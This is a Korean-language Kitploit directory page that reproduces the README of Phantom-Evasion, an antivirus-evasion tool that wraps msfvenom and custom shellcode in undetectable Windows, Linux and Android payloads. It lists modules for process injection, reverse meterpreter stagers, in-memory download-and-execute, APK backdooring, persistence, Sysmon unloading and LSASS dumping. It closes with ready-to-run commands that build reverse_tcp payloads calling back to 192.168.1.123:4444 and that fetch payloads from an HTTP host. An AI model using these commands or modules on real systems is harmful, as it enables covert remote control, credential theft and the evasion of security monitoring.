Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/oddcod3/phantom-evasion
Privilege EscalationDynamic Analysis (Sandboxing)Exploit FrameworksPayload GenerationPersistence MechanismsShellcodePost-ExploitationShellcode GenerationPayload DevelopmentArchived
GitHuboddcod3/phantom-evasion

Phantom-Evasion

1.4k3402년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Python 안티바이러스 우회 도구

저장소 보기

PHANTOM EVASION 3.0

Phantom-Evasion은 파이썬(python 및 python3 모두 호환)으로 작성된 안티바이러스 우회 도구로, 가장 흔한 x86 msfvenom 페이로드로도 (거의) 완전히 탐지되지 않는 실행 파일을 생성할 수 있습니다.

다음 운영 체제에서 자동 설정을 공식적으로 지원합니다:

  1. Kali Linux
  2. Parrot Security

다음 운영 체제는 자동 설정을 지원할 가능성이 높지만, metasploit-framework의 수동 설치가 필요합니다:

  1. OSX (Catalina에서 테스트됨)
  2. Ubuntu
  3. Linux Mint
  4. Elementary
  5. Deepin
  6. 기타 Debian 배포판
  7. Centos
  8. Fedora
  9. Blackarch

다음 운영 체제는 수동 설정이 필요합니다:

  1. Windows 10

Phantom-Evasion 폴더를 git clone하거나 다운로드하여 압축을 풀기만 하면 됩니다.

설정:

자동 설정: 터미널을 열고 다음을 실행하세요:

root@kitploit:~
python3 phantom-evasion.py --setup

또는:

root@kitploit:~
chmod +x ./phantom-evasion.py

./phantom-evasion.py --setup

또는 대화형 모드로 phantom-evasion을 시작하고 옵션 7을 선택하세요.

종속성 (수동 설정 전용)

  1. metasploit-framework
  2. mingw-w64 (Windows에서는 cygwin)
  3. gcc-multilib
  4. apktool
  5. apksigner
  6. strip
  7. osslsigncode

명령줄/대화형 모드:

  1. 대화형 모드로 phantom-evasion 실행:
root@kitploit:~
python3 phantom-evasion.py

또는:

root@kitploit:~
./phantom-evasion.py
  1. 명령줄 모드 옵션을 보려면:
root@kitploit:~
python3 phantom-evasion.py --help

또는:

root@kitploit:~
./phantom-evasion.py --help

WINDOWS 모듈

-모든 Windows 페이로드 C 모듈은 EXE 또는 DLL/ReflectiveDLL로 컴파일 가능 (x86 및 x64 모두 지원).

-무작위 정크 코드 삽입(강도, 빈도 및 재삽입 확률 설정 가능) 및 Windows 안티바이러스 우회 기술(빈도 설정 가능).

-셸코드 삽입 및 다운로드 실행 모듈 모두에서 멀티바이트 Xor/Vigenere 셸코드/파일 암호화 지원.

-Ntdll unhookapi 및 Peb 프로세스 위장 기술 지원.

-다양한 실행 모드 지원 (로컬 및 원격 모두).

-다양한 페이로드 메모리 할당 모드 지원(Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).

-Windows API 동적 로딩 설정 가능.

-인증서 스푸퍼 및 서명자 지원.

-실행 파일 스트립 (https://en.wikipedia.org/wiki/Strip_(Unix))

Windows C 셸코드 삽입

Msfvenom Windows 페이로드 및 사용자 정의 셸코드 지원. 셸코드는 리소스로 저장되고 FindResource API로 런타임에 검색 가능.

셸코드 암호화 지원:

root@kitploit:~
1. 없음

2. 멀티바이트 Xor

3. 이중 키 멀티바이트 Xor

4. Vigenere

5. 이중 키 Vigenere
  1. 로컬 실행 방법은 다음 중 하나일 수 있습니다:

    Thread

    APC

    로컬 메모리 할당 모드는 다음 중 하나일 수 있습니다:

    Virtual_RWX

    Virtual_RW/RX

    Virtual_RW/RWX

    Heap_RWX

  2. 원격 실행 방법은 다음 중 하나일 수 있습니다:

    ThreadExecutionHijack (약어 TEH)

    Processinject (약어 PI)

    APCSpray (약어 APCS)

    EarlyBird (약어 EB)

    EntryPointHijack (약어 EPH)

    원격 메모리 할당 모드는 다음 중 하나일 수 있습니다:

    Virtual_RWX

    Virtual_RW/RX

    Virtual_RW/RWX

Windows 순수 C meterpreter 스테이저 (C)

msfconsole 및 cobalt strike beacon과 호환되는 순수 C meterpreter 스테이저(TCP/HTTP/HTTPS) 모듈. (reverse_tcp/reverse_http/reverse_https)

명령줄 모드 사용:

root@kitploit:~
reverse_tcp c 스테이저: WRT

reverse_http c 스테이저: WRH

reverse_https c 스테이저: WRS
  1. 로컬 실행 방법은 다음 중 하나일 수 있습니다:

    Thread

    APC

    로컬 메모리 할당 모드는 다음 중 하나일 수 있습니다:

    Virtual_RWX

    Virtual_RW/RX

    Virtual_RW/RWX

    Heap_RWX

Windows C 다운로드-실행 NoDiskWrite

제공된 URL에서 exe/dll을 메모리로 다운로드하고 원격 프로세스에 실행/로드 (디스크에 쓰지 않음).

암호화된 EXE/DLL 다운로드 지원:

root@kitploit:~
1. 없음
                                 
2. 멀티바이트 Xor
                                 
3. 이중 키 멀티바이트 Xor
                               
4. Vigenere
                                
5. 이중 키 Vigenere

암호화된 DLL/EXE는 원본 파일명 + "crypt" + ".dll" 또는 ".exe"로 저장되며, 이것이 다운로드 대상 파일입니다.

  1. Windows DownloadExecExe NoDiskWrite (명령줄 모드: WDE):

    원격 실행 방법은 다음 중 하나일 수 있습니다:

    ProcessHollowing (약어 PH)

  2. Windows DownloadExecDll NoDiskWrite (명령줄 모드: WDD):

    원격 로딩 방법은 다음 중 하나일 수 있습니다:

    ReflectiveDll (약어 RD)

    RDAPC (ReflectiveDllAPC)

    ManualMap (약어 MM) ---> x86 전용

LINUX 페이로드

Linux 셸코드 삽입 모듈 (C)

Msfvenom Linux 페이로드 및 사용자 정의 셸코드 지원.

ANDROID 페이로드

  1. Android Msfvenom Obfuscate Backdoor:

    msfvenom 페이로드를 난독화하고 apktool로 재빌드(smali/baksmali). 난독화된 페이로드는 정상 APK 파일을 백도어하는 데 사용할 수 있습니다.

지속성 모듈

  1. Windows Persistence RegCreateKeyExW 레지스트리 키 추가 (C) 컴파일된 실행 파일을 대상 시스템에 업로드하고 시작 시 추가할 파일의 전체 경로를 인수로 지정하여 실행해야 합니다.

  2. Windows Persistence REG 레지스트리 키 추가 (CMD) 이 모듈은 지속성을 위한 명령줄 페이로드를 생성합니다 (REG.exe를 통해 레지스트리 키 추가).

  3. Windows Persistence Keep Process Alive (C) 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다. CreateToolSnapshoot, ProcessFirst 및 ProcessNext를 사용하여 지정된 프로세스가 X초마다 살아 있는지 확인합니다 (살아 있지 않으면 WinExec API를 사용하여 새 프로세스 생성).

  4. Windows Persistence Schtasks (CMD)

    이 모듈은 지속성을 위한 명령줄 페이로드를 생성합니다 (Schtasks.exe 사용).

  5. Windows Persistence Create Service (CMD)

    이 모듈은 지속성을 위한 명령줄 페이로드를 생성합니다 (sc.exe 사용).

권한 상승 모듈

  1. Windows DuplicateTokenEx (C)

    다른 프로세스에서 복제된 토큰으로 새 프로세스를 생성합니다. 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다.

사후 침투 모듈

  1. Windows Unload Sysmon (C) sysmon 드라이버를 언로드하여 시스템이 sysmon 이벤트 로그 기록을 중지하게 합니다. 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다.

  2. Windows Unload Sysmon (CMD) sysmon 드라이버를 언로드하여 시스템이 sysmon 이벤트 로그 기록을 중지하게 합니다.

  3. Windows Attrib 파일 숨기기 (CMD) attrib를 사용하여 파일을 숨깁니다.

  4. Windows SetFileAttribute hidden (C) SetFileAttribute API를 사용하여 파일을 숨깁니다. 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다.

  5. Windows DumpLsass (C) MiniWriteDumpWrite API를 사용하여 Lsass를 덤프합니다. 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다.

  6. Windows DumpLsass (CMD)

    명령줄에서 Lsass를 덤프합니다.

Phantom-Evasion 명령줄 모드 예제:

  1. Windows 셸코드 삽입, 스푸핑된 https 인증서로 서명된 exe 출력, 로컬 실행 방법: Thread, 메모리: Virtual_RWX, 암호화: vigenere
root@kitploit:~
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
  1. Windows x64 셸코드 삽입, reflective dll로 출력, 원격 실행 방법: ProcessInject (PI), 메모리: Virtual_RW/RX, 대상 프로세스: SkypeApp.exe, 암호화: 이중 키 xor
root@kitploit:~
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
  1. Windows x64 셸코드 삽입, stripped dll로 출력, 셸코드를 리소스로 저장, 원격 실행 방법: EarlyBird (EB), 메모리: Virtual_RW/RX, 대상 프로세스: svchost.exe, 암호화: xor
root@kitploit:~
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
  1. Windows x64 reverse https 스테이저, stripped dll로 출력, 로컬 실행 방법: Thread, 메모리: Heap_RWX
root@kitploit:~
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
  1. Windows x86 downloadexec dll, stripped exe로 출력, 원격 실행 방법: ManualMap (MM), 대상 프로세스: OneDrive.exe, 다운로드 크기 1000000 바이트
root@kitploit:~
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000  -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe

  1. Windows x64 downloadexec exe, stripped reflective dll로 출력, 원격 실행 방법: ProcessHollowing (PH), 대상 프로세스: svchost.exe, 다운로드 크기 1000000 바이트
root@kitploit:~
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000  -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll

라이선스

GPLv3.0

크레딧 및 유용한 리소스

https://github.com/stephenfewer/ReflectiveDLLInjection

https://github.com/rsmudge/metasploit-loader

https://ired.team

https://github.com/theevilbit/injection

http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf

도구 다운로드